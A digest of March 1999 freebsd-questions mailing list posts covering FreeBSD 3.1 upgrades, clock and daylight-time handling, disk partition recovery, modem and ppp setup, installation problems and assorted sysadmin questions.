weeks detailing problems with FreeBSD-3.1-Release.  Some of them
are clearly pilot error, but some of them seem to be possibly
more than that.  There has been little clarification, however,
from people with solutions or success stories.

Now that my 3.1 CDs have finally arrived, I've been looking at
them, wondering if I'm going to shoot myself in the foot if I
ditch my nice stable 2.2.8 installations for 3.1 or if I'd be
better off to wait for 3.2.  What I'd really like to hear are
stories from people who have been using 2.2.8 happily and are
now happily running 3.1-Release (not -stable and not -current)
if there are such people out there.

If there are people who installed 3.1-release and were bitten by
it but who are now happily running 3.1-stable, I'd like to hear
from them too.

I'd be happy for people to reply directly to me, since this
question could provoke a lot of hot air for those who aren't
interested (multiplied by 2 if those @!#?*%+ duplicates keep
coming).  If there's interest, I'll summarise the responses to
the list in a little while.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 17:50:57 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 27 Jun 1996 03:01:31 -0400
From: John Garrison <jeg@visi.net>
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To: Greg Black <gjb@comkey.com.au>
Cc: The Classiest Man Alive <ksmm@threespace.com>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: Windows vs. FreeBSD: Changing Times
References: <Version.32.19990326112256.00f454a0@mail.cybercom.net> <Version.32.19990326112256.00f454a0@mail.cybercom.net> <19990326202726.6129.qmail@alpha.comkey.com.au>
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I might add that windows doesn't even change your time correctly.  It has already
updated my clock for daylight savings time, which isn't here yet.  Also it took me
from 8:43 pm to 3:00 am. It doesn't take a genius to know that adding or subtracting
one hour from 8:43 doesn't give you 3:00.

Greg Black wrote:

> > For those of you who don't know, Windows will automatically
> > change your CMOS clock to reflect the correct time after the time change.
> > Or you can do it manually.  Either way, that clock needs to be set to the
> > correct local time in order for the Windows system time to be reflected
> > correctly.
>
> Yet another reason not to use Windoze.
>
> > Unfortunately, FreeBSD seems to do an intelligent translation that
> > automatically adds one hour to the CMOS time during the Daylight Time
> > period.  This is all good, except that when Windows sets the clock ahead
> > one hour and then FreeBSD adds one hour in software...well, you see where
> > this is going.  Somebody (Windows or FreeBSD) is going to have the wrong time.
>
> Well, Windoze is *always* going to have the wrong time.  The
> *right* time is UTC and local time is derived from that.
>
> > Is there a simple way around this problem?  Can I tell FreeBSD that even
> > though we're in Daylight Time that it should take the CMOS clock as the
> > current local time?
>
> Well, since you are asked at FreeBSD install time whether you
> set your CMOS clock to wall clock time or to UTC, that's a clue.
> Read the man page for adjkerntz to see how FreeBSD handles the
> CMOS clock when it's set to local time.  (I have no idea if it
> works, since I've never been guilty of running a Microsoft OS on
> my computers and always run my CMOS clock on UTC.)
>
> --
> Greg Black <gjb@acm.org>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message



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From owner-freebsd-questions  Fri Mar 26 18: 4:31 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 02:04:06 +0000
From: Dean Lombardo <dlombardo@excite.com>
Organization: University of Kent at Canterbury, UK
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Dear all,

I made an unfortunate mistake of giving my hard drive to a friend who
wanted to mount it under Linux.  Apparently he didn't use Linux's BSD
disklabel support, and somehow managed to screw up the partition table. 
I used to have all the usual four partitions (/, swap, /var and /usr),
/usr being the largest of the four, and now disklabel /dev/wd2s1 now
only shows partition c:

> # /dev/wd2s1:
> type: ST506
> bytes/sector: 512
> sectors/track: 63
> tracks/cylinder: 16
> sectors/cylinder: 1008
> cylinders: 16382
> sectors/unit: 16514001
> rpm: 3600
> 
> 4 partitions:
> #        size   offset    fstype   [fsize bsize bps/cpg]
>   c: 16514001        0    unused        0     0         # (Cyl.    0 - 16382*)

Here 16382 is the *total* number of cylinders (all 8 Gb), but of course
it should be something like:
a 0-130
b 130-650
c 0-16382
d 650-780
e 780-16382

It used to be a FreeBSD 2.2.8 drive, and I also think that cylinders
0-63 were unused (correct me if I'm wrong).

Why is it saying "4 partitions" but only showing one?   I can even mount
this partition, and FreeBSD thinks it's the root partition (/), which of
course I'm not very interested in (/usr is the one I need).

I'm pretty sure the data are physically still there, it's just the bit
in the beginning of the disk that's gone. The problem is that of course
I don't remember the actual cylinder boundaries of partitions.

My question is - how do I find the cylinder boundaries of partitions -
what program can I use to inspect the disk?  I also have another drive
of exactly the same size and make that I can experiment with - wouldn't
it be a good idea to make an exact copy of the original drive and then
experiment with the copy - how do I do that?  Will a simple "dd
if=/dev/wd1 of=/dev/wd2" do the job?  Finally, once I've found out the
cylinder boundaries, what program can I use to write the partition table
to the disk (and the partition table only, without touching the data)?

Please help!

Dean

P.S.
 
fdisk /dev/wd2 shows:

> ******* Working on device /dev/wd2 *******
> parameters extracted from in-core disklabel are:
> cylinders=16383 heads=16 sectors/track=63 (1008 blks/cyl)
> 
> Figures below won't work with BIOS for partitions not in cyl 1
> parameters to be used for BIOS calculations are:
> cylinders=16383 heads=16 sectors/track=63 (1008 blks/cyl)
> 
> Media sector size is 512
> Warning: BIOS sector numbering starts with sector 1
> Information from DOS bootblock is:
> The data for partition 1 is:
> sysid 165,(FreeBSD/NetBSD/386BSD)
>     start 63, size 16514001 (8063 Meg), flag 80 (active)
>         beg: cyl 0/ sector 1/ head 1;
>         end: cyl 1023/ sector 63/ head 15


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From owner-freebsd-questions  Fri Mar 26 18:10:14 1999
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From: Ray Lau <gwrx@sinanet.com>
Date: Fri, 26 Mar 1999 18:09:49 -0800
To: Mark Ovens <marko@uk.radan.com>
Cc: FreeBSD-questions@FreeBSD.org
Subject: Re: About Modem.......help
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>> >> hi
>> >> i use smartlink modem5634ts,FreeBSD3.1
>> >> when i ppp myisp
>> >> freebsd will shutdown
>
>Exactly what do you mean by "shutdown"? Hangs? crashes? reboots?
crashes
>
>
>> >> this is my ppp.conf
>> >> default:
>> >> >  set device /dev/cuaa1
>> >> >  set speed 115200
>> >> >  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK
>> >> > \\dATDT\\T TIMEOUT 40 CONNECT"
>> >> >
>> >> > hinet:
>> >> >  set openmode active
>> >> >  set phone 4125678
>> >> >  deny chap
>> >>   disable chap
>> >> >  accept pap
>> >> >  set authname xxxx
>> >> >  set authkey  xxxxxx
>> >> >  ifaddr 0 0
>> >
>> >This line should be:
>> >
>> > set ifaddr 10.0.0.1/0 10.0.0.2/0 0.0.0.0 0.0.0.0
>> >
>> >
>> >> >  dial
>> >and remove this.
>> >
>> >> ========== /etc/ppp/ppp.linkup ======
>> >> > hinet:
>> >> >     delete ALL
>> >> >     add 0 0 HISADDR
>> >> > ==============================
>> >> please help me
>> >> thanx
>
>You need to enable logging, ``set log .....'' in ppp.conf, and send
>the output (/var/log/ppp.log).
how to send to ppp.log
make new dir?
 


                
____________________________________________________________
 Free Email for Global Chinese @ http://www.sinanet.com/ 



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From owner-freebsd-questions  Fri Mar 26 18:17:45 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 20:20:31 -0600
From: Dead Pete <ddicke@isd.net>
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i'm trying to install throught the ftp, and i can't connect
i go through all the options, get to the ppp settings, click ok, but how
do i dial?
it says that i press Alt-F3 to interact with the connection, and i'm
assuming this includes dialing up, but how do i dial up? do i not do it
in that area at all? help!

PS: does freebsd come with an http/ftp server?

--

-deadpete
http://deadpete.webjump.com
ICQ#: 22386038


Have you ever buried your face in your hands
cause no one around understands
or has the slightest idea what it is that makes you be
Have you ever felt that there was more
like someone else was keeping score
And what could make you whole was simply out of reach

  - "Have You Ever" - The Offspring




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From owner-freebsd-questions  Fri Mar 26 18:31:14 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 18:27:52 -0800
To: freebsd-questions@freebsd.org
From: "Bart (The Good Guy) Trzynadlowski" <trzy@powernet.net>
Subject: installation woes: hard disk/partitioning probs
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Hello,
	I am having some weird problems after the kernel configuration screen
during installation. FreeBSD says stuff like:

wdc0 <atapi, etc, etc, etc 
im assuming that is my CD ROM drive

then it goes:
wd0 <1590mb, etc, etc, etc
yep, my first HD is a 1.6 gigger but i want to install it on my second
drive (a 4 gigger with 1.8mb free, the rest is DOS drive D)

what the? FreeBSD ISNT recognizing a WD1 hard disk or anything! Its an EIDE
disk connected as slave, a Western Digital, i dont know what brand my
1.6gig is.

then later it says:
wd0 not found
but how? it says it found it

then i get dumped into the FDISK program... it says wd0 at the top, thats
it. it shows my 1.6 primary drive right in front of me. but i cant get to
wd1 or whatever my second drive is
thus i cant install FreeBSD, can anyone help me out?

Thanks!

Bart Trzynadlowski




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From owner-freebsd-questions  Fri Mar 26 18:33:57 1999
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Date: Fri, 26 Mar 1999 21:35:34 -0500
From: "Michael E. Mercer" <mmercer@ipass.net>
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 /usr/src/tools/LibraryReport/LibraryReport.tcl?
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Hello,

Sorry for posting to two lists...not sure where this should go.

I saw an email where someone mentioned this script...

how do I make out what this script is telling me and even 
though this script says a library is stale, does this mean 
I can remove it???

Also I read someones post about the motherboard not getting enough
power and causing things to run slow...how do I check if I fall 
into this catagory? and if I do fall into it, how do I remedy it?


Thanks
Michael Mercer
mmercer@ipass.net


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From owner-freebsd-questions  Fri Mar 26 18:36:38 1999
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Date: Fri, 26 Mar 1999 18:37:31 -0800
From: Tom Brown <tomb@heliox.com>
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Hi,
In the course of using the Net::RawIP module in perl i have found that
the machine I have (FreeBSD2.2.8) refuses to let me change the
MAC source of my packets.  I was wondering if anyone out there could
tell me if I need to patch my kernel.

Thanks for your time.
Tom Brown



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From owner-freebsd-questions  Fri Mar 26 18:37: 8 1999
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	Fri, 26 Mar 1999 20:36:39 -0600 (CST)
Date: Fri, 26 Mar 1999 20:36:39 -0600
From: Alan Weber <aaweber@austin.rr.com>
To: The Classiest Man Alive <ksmm@threespace.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: Windows vs. FreeBSD: Changing Times
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On Fri, Mar 26, 1999 at 11:36:48AM -0500, The Classiest Man Alive wrote:
--> This happens to me every year.  This year I figured I'd ask the experts
--> (that means YOU) if there was a simple solution to this problem.

man ntpdate

-- 
When I was a kid I had to rub sticks together to multiply and divide numbers. 
A calculator was a job description.


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From owner-freebsd-questions  Fri Mar 26 19: 6:44 1999
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From: "Daniel Griswold" <griswold_d82@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Questions: connecting during installation
Date: Fri, 26 Mar 1999 19:06:15 PST
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I am having trouble connecting to the ftp.freebsd.org site during 
installation.  I have gotten a lot of help from a friend who has 
FreeBSD, but I still can't get my modem to initialize or dial up.  I 
have set the modem to different devices ( /dev/cuaa0 for example), but 
when I run the "term" program I can't type anything except for the ~x 
commands.  I am not sure what to set my external modem to, because I 
beleive /dev/cuaaX is for internals only.  What do you suggest.
-Dan

P.S.  If I have excluded any information that you need feel free to 
email me back and ask -Thanks- :)

griswold_d82@hotmail.com
Get Your Private, Free Email at http://www.hotmail.com


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From owner-freebsd-questions  Fri Mar 26 19:16:37 1999
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Date: Fri, 26 Mar 1999 19:15:46 -0800 (PST)
From: Nick Sayer <nsayer@quack.kfu.com>
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I perused the mailing lists and the most recent mail about this
said that it was supposed to be fixed in January. I have a
3.1-RELEASE machine that is having this problem.

Now granted this is a 486DX4-133 with 8 MB of RAM, but it does
have 128M of swap and pstat -T says that less than half of it is
in use.

I can go out and buy a SIMM for the machine, but I don't want to
waste the money if it's a software bug.

The machine is basically like a do-it-yourself portmaster. Lots of
gettys and pppd processes, sendmail and inetd for a pop server,
sshd so I can log in, and not much else.

The bug hits a few hours after a reboot. Killing and restarting
inetd once appears to be a permanent fix (so far as I can tell so
far).

Weird.


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From owner-freebsd-questions  Fri Mar 26 19:18:21 1999
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Date: Fri, 26 Mar 1999 19:17:49 -0800
From: "Robert E. Mack, Jr." <remack@bigfoot.com>
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I did a fresh install of 3.1 (used to have 3.0), and I installed Netscape.

It runs fine locally under kde. When I try and access it from
my NT box over X, I get something like:
 
          /usr/libexec/ld.so: Undefined symbol "___inet_addr" called from
netscape:/usr/X11R6/lib/aout/libX11.so.6.1 at 0x20c3d944

I found a similar problem listed in the archive from a few weeks ago, but
their seemed to be no final solution listed. I've explicitly installed the
compatibility packages & I've tried the various flavors of netscape off the
CD, with no solution.

Any help would be appreciated,
bob mack


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From owner-freebsd-questions  Fri Mar 26 19:19:12 1999
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From: Ben Manes <anarchy@crl.com>
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Well, I tried asking for help once before, but recieved no responce (and
looked for any similar questions in the archive).  Its an odd set of
errors..

Here's what's happening.  After I boot the cd (WC Cdrom's 3.1 set), I go
through all the basics until the installation phase.  If I try using my
Yamaha CRW4260 (scsi, 1st cdrom), I get a message that there are no
valid cdroms on the system.  I tried unplugging the power in my second
cdrom, a plextor 6x scsi, and reseting my Adaptec 2940UW to defualts,
and recieved the same effect (both with and without removing device
drivers from the kernal).  If I use my plextor (with or without the
Yamaha), it *always* dies at 40% of the first installation set.  It
cannot be re-initiallized and thus fbsd cannot install.

If this was ide, I could believe it to be a spin-down problem.  But
then, why wont my Yamaha work??? I've made sure my plextor is cool (its
an old drive, so if it over heats it dies), and all the rest.  From the
information I have (the above), I can't think of any reason.. I've gone
through all the steps from various texts.. and so it just puzzling to
me. Any help would be greatly appreciated!!!


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From owner-freebsd-questions  Fri Mar 26 19:31:42 1999
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Date: Fri, 26 Mar 1999 21:29:15 -0600
From: Etem Goksel <egoksel@bellsouth.net>
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I have installed FreeBSD 3.1 , on my NEC  333 Mhz, 64 Mb Ram computer
using El Torrito fature.
But when I tried to install "install.bat" it did not work (computer was
in MSDOS mode). However, the kern.flp/MFSroot.flp combination works.

Second question is whether BSD has a loader similar to Linux's Loadlin.
I need such a thing because if I boot from booteasy or LILO my sound
card doesn't work. Therefore I use Loadlin for my linux system
for audio.

I am happy with Fbsd 3.1, everything, except the above, works.

Thank you for your attention.



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From owner-freebsd-questions  Fri Mar 26 19:39:33 1999
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To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: questions@FreeBSD.ORG
From: David Kelly <dkelly@hiwaay.net>
Subject: Re: TCP/IP problem 
In-reply-to: Message from "Daniel C. Sobral" <dcs@newsguy.com> 
   of "Fri, 26 Mar 1999 23:49:49 +0900." <36FB9E8D.97455246@newsguy.com> 
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"Daniel C. Sobral" writes:
> A friend of mine has the following problem: when trying a telnet to
> a (certain?) remote host, FreeBSD takes almost three minutes, while
> a NT from the same subnet takes less than thirty. If this problem
> cannot be solved, there is a great chance of FreeBSD being dumped in
> this place.

Assume you mean 30 seconds on the NT box, not 30 minutes. Even so, 30
seconds strikes me as too long to set up a telnet connection over any
slow link. Guess if you find that problem you'll fix the problem with 
FreeBSD too.

Mentioned this in a reply several weeks ago but in my early days with
FreeBSD I was installing everything that was offered. So on installation
when it offered Kerberos, I accepted. Didn't have a Kerberos server so a
telnet connection took a couple of minutes to timeout before falling
back to the "normal" way. Believe it at least printed an error message
saying that was what was happening. Finally in frustration I used the
Universal Windows Repair Tool (tm), FDISK.EXE. Didn't make the same
mistake on reinstallation of FreeBSD.


--
David Kelly N4HHE, dkelly@nospam.hiwaay.net
=====================================================================
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.




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From owner-freebsd-questions  Fri Mar 26 19:48:54 1999
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Date: Fri, 26 Mar 1999 21:47:46 -0600
From: bob olbrich <rjob@gulftel.com>
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charon@freethought.org wrote:

> At 05:04 PM 3/25/99 -0600, bob olbrich wrote:
> >Hello,
> >
> >I've downloaded a minimal installation and I'd like to know
> >what to do next (I'm new to UNIX, and the book I have does not
> >discuss this thoroughly).
>
> http://www.freebsd.org/handbook/install.html is helpful.  You basically
> need to make the boot floppies (it sounds like you haven't done this yet).
> You can download the floppy images mfsroot.flp and kern.flp at
> ftp.FreeBSD.ORG/pub/FreeBSD/3.1-RELEASE/floppies/.  The installation
> section of the Handbook (see above) explains what to do with these, and
> what to do next.
>
> -charon
>

Yes, I made the installation floppies, connected by FTP, and chose the quick
and
minimal installation. I saw the /bin distribution downloaded. Everything
worked fine.
Using F2 at boot did nothing. That's why I thought the installation was not
complete
I thought some mount operation might be necessary.

Bob Olbrich  rjob@gulftel.com

>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message



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From owner-freebsd-questions  Fri Mar 26 20: 4:30 1999
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Date: Fri, 26 Mar 1999 20:02:27 -0800 ()
From: Rick Hamell <hamellr@dsinw.com>
To: Ben Manes <anarchy@crl.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: unhappy installation
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> If this was ide, I could believe it to be a spin-down problem.  But
> then, why wont my Yamaha work??? I've made sure my plextor is cool (its
> an old drive, so if it over heats it dies), and all the rest.  From the
> information I have (the above), I can't think of any reason.. I've gone
> through all the steps from various texts.. and so it just puzzling to
> me. Any help would be greatly appreciated!!!

	It kinda sounds like a termination problem to me. I'm not sure
which kind that card has, but I've had to 'clean' the onboard ones before.
Have you tried another SCSI card? 


						Rick



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From owner-freebsd-questions  Fri Mar 26 20:13:59 1999
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Date: Sat, 27 Mar 1999 11:46:14 +1100 (EDT)
From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: Tibor Borzak <cezy@inext.ro>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Squid
In-Reply-To: <000b01be77b2$6a043fe0$09c0e6c1@inext.ro>
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On Fri, 26 Mar 1999, Tibor Borzak wrote:

> I'm running on BSD wiht my primary DNS and proxy server.
> Time bye time (usualy evry 6-7 days ) I have problem with squid.
> It seems to me is working hard on my drive.. maybe the cahce is full and the process is desperatly try to locate some files.
> What is the solution, how I can optimize my squid to work smothly..

You don't say which versions of FreeBSD or Squid.  At this stage I am only
familiar with Squid 1.1.x; I've yet to play with Squid 2 yet.

Squid 1.1 is heavily dependent on th availability of real RAM.  There is a
"novm" release which is supposed to work better in constrained memory
situations.

On a machine with 32MB of RAM (whose only purpose is to run Squid) I have
found empirically that a cache size of ~700MB with a memory sizing of 8MB 
is all that I can support before swapping kicks in.  I haven't tried to
novm version, but intend to move to Squid 2.1 which includes the novm
functionality anyway.

> I wainting for some tips. Also, please explain me how to clear all my cache directories and to start squid again...

IIRC there's a command line switch for clearing the cache, and the daemon 
can be restarted quite easily. I suggest that you peruse the
documentation/FAQ/etc at http://squid.nlanr.net/

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Fri Mar 26 20:15:19 1999
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From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: John Reynolds~ <jreynold@sedona.ch.intel.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: need confirmation of 53C810 (DC-310) support in 3.x
In-Reply-To: <14075.53765.769663.282605@hip186.ch.intel.com>
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On Fri, 26 Mar 1999, John Reynolds~ wrote:

> I'm shopping for an "in-expensive" (yet supported!) SCSI card to hook a 
> scanner up to. I think I've settled on one based upon the 53C810 Symbios
> chipset.
> 
> The particular OEM card is from Tekram--the model is "DC-310". When the
> release notes say that there is support for the 53C810 does that imply
> support for all cards based upon this chip? Specifically are people using
> this DC-310 card under 3.1 (and -current)? I hope so 'cuz it's nice and
> cheap ($39 from http://www.hypermicro.com/).

AFAIK, all the NCR/Symbios based cards are software compatible.  I have a
DC-310 which I've not yet had the excuse to use (I do use an Asus SC-200
which is also 810 based).  The only thing to remember is that you can't
boot from devices attached to these cards unless the motherboard BIOS
includes the SDMS code (most Asus boards used to).

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Fri Mar 26 20:15:34 1999
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Date: Sat, 27 Mar 1999 11:37:07 +1100 (EDT)
From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: Matthew Emmerton <memmerto@uwaterloo.ca>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Problems with Quantum Hard Drive
In-Reply-To: <000001be773d$5e496010$1200a8c0@matt.gsicomp.on.ca>
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On Thu, 25 Mar 1999, Matthew Emmerton wrote:

> I've been trying to figure out whether one of my Quantum drives is bad or
> if it's a BIOS problem.
> The machine is a NEC Ready 9012 (P90).
> The BIOS detects the drive and enters CHS information properly.

{remainder of post snipped...}

If your BIOS supports setting the IDE mode, and is currently at "Auto"
(whcih means it asks the drive and tries to run the drive at the nominated
mode), try setting the mode to PIO mode 0 (slowest).  The see whether
either your Win 95/98 or FreeBSD installs are more promising.

I have seen instances where either a drive or particular MB chipset/BIOS
rev seemed incapable of working at the stated modes.

My guess is that NT's IDE drivers are exceedingly conservative, and
probably already run the drive at PIO mode 0, while Windows 95/98 use the
BIOS info and try to drive the chipset/drive at the probed rate (and
fail!).  Recent revs of FreeBSD may also be able to use high rates based
on probed info, in which case you may need to do some mailing list
searches to identify any way to disable the feature (if it in fact
exists).

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Fri Mar 26 21:12:43 1999
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Date: Sat, 27 Mar 1999 00:11:01 -0500
From: Laurence Berland <stuyman@confusion.net>
Organization: B.R.A.T.T.
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Just wondering, is 3.2 gonna be a -stable on the CDs or a -Release on
the cds??  That's coming out in june, right?

--
Laurence Berland, Stuyvesant HS Debate
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

Windows 98: n.
        useless extension to a minor patch release for
        32-bit extensions and a graphical shell for a
        16-bit patch to an 8-bit operating system
        originally coded for a 4-bit microprocessor,
        written by a 2-bit company that can't stand for
        1 bit of competition.
http://stuy.debate.net
icq #7434346                    aol imer E1101




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From owner-freebsd-questions  Fri Mar 26 22:40:37 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 16:11:59 +1000
From: Greg Black <gjb@comkey.com.au>
To: samit@usa.ltindia.com
Cc: FreeBSD-Questions@FreeBSD.ORG
Subject: Re: rfork() 
References: <36F37127.7C0B121D@usa.ltindia.com> 
In-reply-to: <36F37127.7C0B121D@usa.ltindia.com> 
    of Sat, 20 Mar 1999 15:28:00 +0530
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> Can any one suggest how to use rfork( RFPROC | RFMEM );
> according to the manual, freeBSD supports this and it should create a
> new process which will share the address space.
> But what I'm getting is
> a) It returns only to the parent process with a childID.
> b) It doesn't go into child part
> c) 'PS' shows that a child process is active.
>
> #include <unistd.h>
> main()
> {
>         int childId;
>         printf("Parent Process start \n");
>         if ( (childId = rfork(RFMEM | RFPROC) ) == 0 ) {
>                 printf("In Child childId(%d) PId(%d)\n",
> childId,getpid() );
>                 sleep(4);
>                 exit(0);
>         }
>         {
>                 char buf[10] = "Samit";
>                 int nRet;
>                 printf("Parent process continues with childId(%d)
> %s,PID(%d)\n",
>  childId, buf,getpid());
>         sleep(5);
>         }
> }

I just compiled this code on a 2.2.8-release system and both
processes produced the expected output.  What version of FreeBSD
were you using?

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 22:40:39 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 15:22:48 +1000
From: Greg Black <gjb@comkey.com.au>
To: Glen Mann <gmann@cyberia.com>
Cc: FreeBSD Questions <questions@FreeBSD.ORG>
Subject: Re: bash history permissions wide open 
References: <36FC191D.312452DC@cyberia.com> 
In-reply-to: <36FC191D.312452DC@cyberia.com> 
    of Fri, 26 Mar 1999 18:32:45 EST
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> I like bash, and so use it for all my accounts, including root.  In the root
> home directory (/root) the .bash_history file has permissions such that anyone
> can read it, for instance to get mysql admin passwords, etc.  Wow - glad it's
> only me on this system!  Should I be so surprised at this?  Shouldn't the file
> be defaulted by bash to readable only by the owner?  

It's controlled by your umask.  The default setting for this is
rather silly.  You could put "umask 077" in your startup file if
you want nobody except the owner to read files you create.  The
man pages have more info.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 22:40:41 1999
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Date: Sat, 27 Mar 1999 15:38:03 +1000
From: Greg Black <gjb@comkey.com.au>
To: Roelof Osinga <roelof@eboa.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Phantom mail in local queue 
References: <36FC34A6.666D756A@eboa.com> 
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> Root keeps getting this fanmail from the system:
> 
> Mail in local queue:
>                 Mail Queue (1 request)
> --Q-ID-- --Size-- -----Q-Time----- ------------Sender/Recipient------------
> CAA18526* (no control file)
> 
> Yet /var/spool/mqueue is empty and sendmail has no outstanding 
> requests. So what queue might this be?
> 
> Tried to find files by that name:
> 
> root:/usr/src/sys/i386/conf# find / -name "*CAA18526*" -print
> root:/usr/src/sys/i386/conf#
> 
> but to no avail.

You don't say when you get this mail, but I'm guessing it's from
the daily cron jobs -- if so, the mail item in the queue is the
actual item of mail that you're reading.  It's no longer in the
queue when you go looking for it, because the cron job has now
finished and you have the mail in your inbox.

> What and where are these mails it complains about. How can I get
> prevent this from occurring all the time?

Unless I've misunderstood, you don't really get them "all the
time" but just once a day.  There's nothing wrong and you can't
"fix" it unless you ditch sendmail in favour of another MTA.
But this would have to be the most feeble reason to change MTAs.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 22:57:21 1999
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Date: Sat, 27 Mar 1999 00:53:57 -0600
From: Michael Maxwell <drwho@xnet.com>
To: questions@FreeBSD.ORG
Subject: Re: BACKSPACE v. DELETE
Message-ID: <19990327005357.A12191@drwho.xnet.com>
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On Thu, Mar 25, 1999 at 06:52:54AM -0500, Patrick Seal wrote:
> Add 
> 
> stty erase ^H             make sure it's literal (^V)
> 
> to your shell configuration files and it will always be that, no matter
> what.

It doesn't appear that it has to be a "literal ^H" character.  The string
works equally well:

 stty erase '^H'

And so on.


-- 
    Michael Maxwell <drwho @ xnet.com>  |  http://www.xnet.com/~drwho/
       "American Justice: oxymoron.  William J. Clinton: moron."
                                                    --M. Maxwell (1999)


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From owner-freebsd-questions  Fri Mar 26 23:37:45 1999
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Date: Fri, 26 Mar 1999 23:36:36 -0800
To: freebsd-questions@freebsd.org
From: Mike Thompson <miket@dnai.com>
Subject: Anonymous CVS access to anoncvs.freebsd.org
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Is it possible to get anonymous read-only access to the
FreeBSD CVS Tree using pserver?  The following doesn't
work for me (I obviously have the wrong password):

  %setenv CVSROOT :pserver:anoncvs@anoncvs.freebsd.org:/cvs
  %cvs login
  (Logging in to anoncvs@anoncvs.freebsd.org) 
  CVS password: anonymous
  cvs [login aborted]: authorization failed: server anoncvs.freebsd.org rejected access

and I can't use the more standard:

  %setenv CVSROOT anoncvs@anoncvs.freebsd.org:/cvs         
  %cvs co modules
  select: protocol failure in circuit setup
  cvs [checkout aborted]: end of file from server (consult above messages if any)

This seems to be caused by an interaction with rsh and the fact
that I am connected to the internet through an ISDN router running 
NAT.

Thanks,

Mike Thompson



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From owner-freebsd-questions  Fri Mar 26 23:54:31 1999
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Date: Sat, 27 Mar 1999 17:54:02 +1000
From: Greg Black <gjb@comkey.com.au>
To: John Garrison <jeg@visi.net>
Cc: The Classiest Man Alive <ksmm@threespace.com>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: Windows vs. FreeBSD: Changing Times 
References: <Version.32.19990326112256.00f454a0@mail.cybercom.net> <Version.32.19990326112256.00f454a0@mail.cybercom.net> <19990326202726.6129.qmail@alpha.comkey.com.au> <31D231CB.2D83780D@visi.net> 
In-reply-to: <31D231CB.2D83780D@visi.net> 
    of Thu, 27 Jun 1996 03:01:31 -0400
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John Garrison writes [reformatted for legibility]:

> I might add that windows doesn't even change your time
> correctly.  It has already updated my clock for daylight
> savings time, which isn't here yet.  Also it took me from 8:43
> pm to 3:00 am. It doesn't take a genius to know that adding or
> subtracting one hour from 8:43 doesn't give you 3:00.

It's worse than that -- your clock is set to 27 June 1996, which
is years wrong, not just hours ...

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Sat Mar 27  0: 6: 7 1999
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Date: Sat, 27 Mar 1999 00:05:51 -0800 (PST)
From: Gold Fish <gfish@uniqsite.com>
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Subject: How to re-create the missing link
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I had to restore the system from tape and I notice a lot of links are not
there any more.

I suppose the links are generated when the system was installed.  Which
script can I run in order to put back the links?

I am on 3.1-stable.




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From owner-freebsd-questions  Sat Mar 27  0:16:15 1999
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From: Gustavo V G C Rios <grios@gabriel.netshell.com.br>
Subject: 
Date: Fri, 26 Mar 1999 18:25:24 +0000

> Is there any RT support in FBSD ?
> 

Not really.  RTMX is an OpenBSD derivative you may be interested in.

Good Luck,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Sat Mar 27  0:26:12 1999
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Date: Sat, 27 Mar 1999 09:26:50 +0100 (CET)
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Daniel Griswold <griswold_d82@hotmail.com>
Subject: RE: Questions: connecting during installation
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On 27-Mar-99 Daniel Griswold wrote:
> I am having trouble connecting to the ftp.freebsd.org site during 
> installation.  I have gotten a lot of help from a friend who has 
> FreeBSD, but I still can't get my modem to initialize or dial up.  I 
> have set the modem to different devices ( /dev/cuaa0 for example), but 
> when I run the "term" program I can't type anything except for the ~x 
> commands.  I am not sure what to set my external modem to, because I 
> beleive /dev/cuaaX is for internals only.  What do you suggest.
> -Dan

My external modem is set to /dev/cuaa1 since that is my sio1 (com2)

do the appropriate sio devices get detected alright? (dmesg | grep sio)

is the kernel a kernel appropriate for yer hardware? GENERIC is fun, but
not usable in all situations.

